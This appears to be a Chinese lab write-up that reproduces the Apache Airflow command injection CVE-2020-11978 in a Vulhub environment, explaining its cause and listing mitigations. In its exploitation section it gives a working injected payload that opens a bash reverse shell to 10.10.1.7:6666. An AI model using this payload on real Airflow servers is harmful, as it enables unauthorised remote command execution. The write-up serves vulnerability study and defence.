当前位置: 首页 > news >正文

CVE-2020-11978 Apache Airflow 命令注入漏洞分析与利用

简介

  • 漏洞软件:Apache Airflow
  • 影响版本:<= 1.10.10

环境

  • Vulhub 漏洞测试靶场

复现步骤

  • 进入 /root/vulhub/airflow/CVE-2020-11978/ 目录
  • 运行以下命令启动环境
# 初始化数据库
docker compose run airflow-init
# 开启服务
docker compose up -d
  • 在客户端访问 server-ip:8080
    在这里插入图片描述
  • 找到 example_trigger_target_dag 开启 (有向无环图) 后变为 “On” 状态
    在这里插入图片描述
  • 在这一列的右侧点击如下按钮
    在这里插入图片描述
  • 输入以下字符后点击 Trigger 按钮
    在这里插入图片描述
  • 点击完成后 airflow_dag_success_touch_file 文件就会被创建在 /tmp 目录下,使用以下命令在容器中进行查询和验证
    在这里插入图片描述

原因

  • 默认情况下 Airflow Web UI 是未授权访问的,直接可以登录,而登录后,只能查看 DAG 的调度状态等,无法进行更多操作
  • 但 Airflow Web UI 中提供了触发 DAG 运行的功能,以便测试 DAG,同时 Airflow 为了让使用者可以快速熟悉其 DAG 开发流程和功能,为了更好的示例这些 DAG 覆盖了大多的执行器
  • 而其中两个 DAG 组合起来可触发命令注入导致漏洞产生,如下所示,通过一个DAG(example_trigger_controller_dag)来动态的调用另外一个 DAG(example_trigger_target_dag)
#airflow/example_dags/example_trigger_target_dag.py
1. 1st DAG (example_trigger_controller_dag) 持有一个 TriggerDagRunOperator,它将触发第二个 DAG
#airflow/example_dags/example_trigger_controller_dag.py
2. 2nd DAG (example_trigger_target_dag) 它将由第一个 DAG 中的 TriggerDagRunOperator 触发
  • 即通过 example_trigger_controller_dag 内部定义的 conf={“message”: “Hello World”} 来触发 example_trigger_target_dag 中 bash_command=‘echo "Here is the message:’{{ dag_run.conf[“message”] if dag_run else “” }}‘"’ 的运行
    在这里插入图片描述
    在这里插入图片描述
  • 根据上面信息可以看出,输入 dag_run.conf[“message”] 由第一个 DGA 传递过来的,看起来无法控制。而实际上熟悉下 Airflow 相关代码即可发现 Airflow 中 DAG Run 是代表 DAG 及时实例化的对象,而其中 conf 正是用于传递参数的方式, Airflow 提供了多渠道可以修改 conf,包括命令行例如:
airflow dags trigger --conf '{"conf1": "value1"}' example_parametrized_dag

利用

  • kali 打开 nc
    在这里插入图片描述
  • 输入以下消息并触发 DAG
#socket 连接
{"message":"'\";bash -i >& /dev/tcp/10.10.1.7/6666 0>&1;#"}
  • 连接成功
    在这里插入图片描述

缓解

  • 升级到 1.10.10 版本之后

  • 删除或者禁用 DAG,可自行删除或在配置文件中禁用默认 DAGload_examples=False

  • 参考

  • Vulhub 漏洞环境详情:https://vulmon.com/vulnerabilitydetails?qid=CVE-2020-11978&scoretype=cvssv3

  • Airflow dag 中的命令注入(csdn):https://xz.aliyun.com/t/8037

http://www.lryc.cn/news/178724.html

相关文章:

  • 面试经典算法1:DFS
  • Windows系统利用cpolar内网穿透搭建Zblog博客网站并实现公网访问内网!
  • SmartCode ViewerX VNC 3.11 Crack
  • 傻瓜式Java操作MySQL数据库备份
  • redis常用操作命令
  • pytorch gpu安装
  • uni跳转页面不缓存上一个页面的方法
  • 排序:败者树和置换选择排序(解决外部排序中的优化问题)
  • 【超分:光谱响应函数】
  • IoT 物联网 JavaScript 全栈开发,构建家居环境监控系统实战
  • jupyter notebook可以打开,但无法打开.ipynb文件,报错500 : Internal Server Error
  • latex图片编号+表格编号
  • 【1day】用友时空KSOA平台 imagefield接口SQL注入漏洞学习
  • linux之美
  • 5、超链接标签
  • CCF CSP认证历年题目自练 Day15
  • APP的收费模式及特点
  • opencv: 解决保存视频失败的问题
  • 源码编译安装zstd
  • LabVIEW开发实时自动化多物镜云计算全玻片成像装置
  • 【深度学习实验】卷积神经网络(二):自定义简单的二维卷积神经网络
  • Socket网络编程练习题三:客户端上传文件到服务器
  • Excel技巧之【锁定工作簿】
  • 用于自然语言处理的 Python:理解文本数据
  • 历史服务器
  • 竞赛无人机搭积木式编程(四)---2023年TI电赛G题空地协同智能消防系统(无人机部分)
  • 深入理解JavaScript中的事件冒泡与事件捕获
  • 纯css html 真实水滴效果
  • HBASE集群主节点迁移割接手动操作步骤
  • TRB爆仓分析,套利分析,行情判断!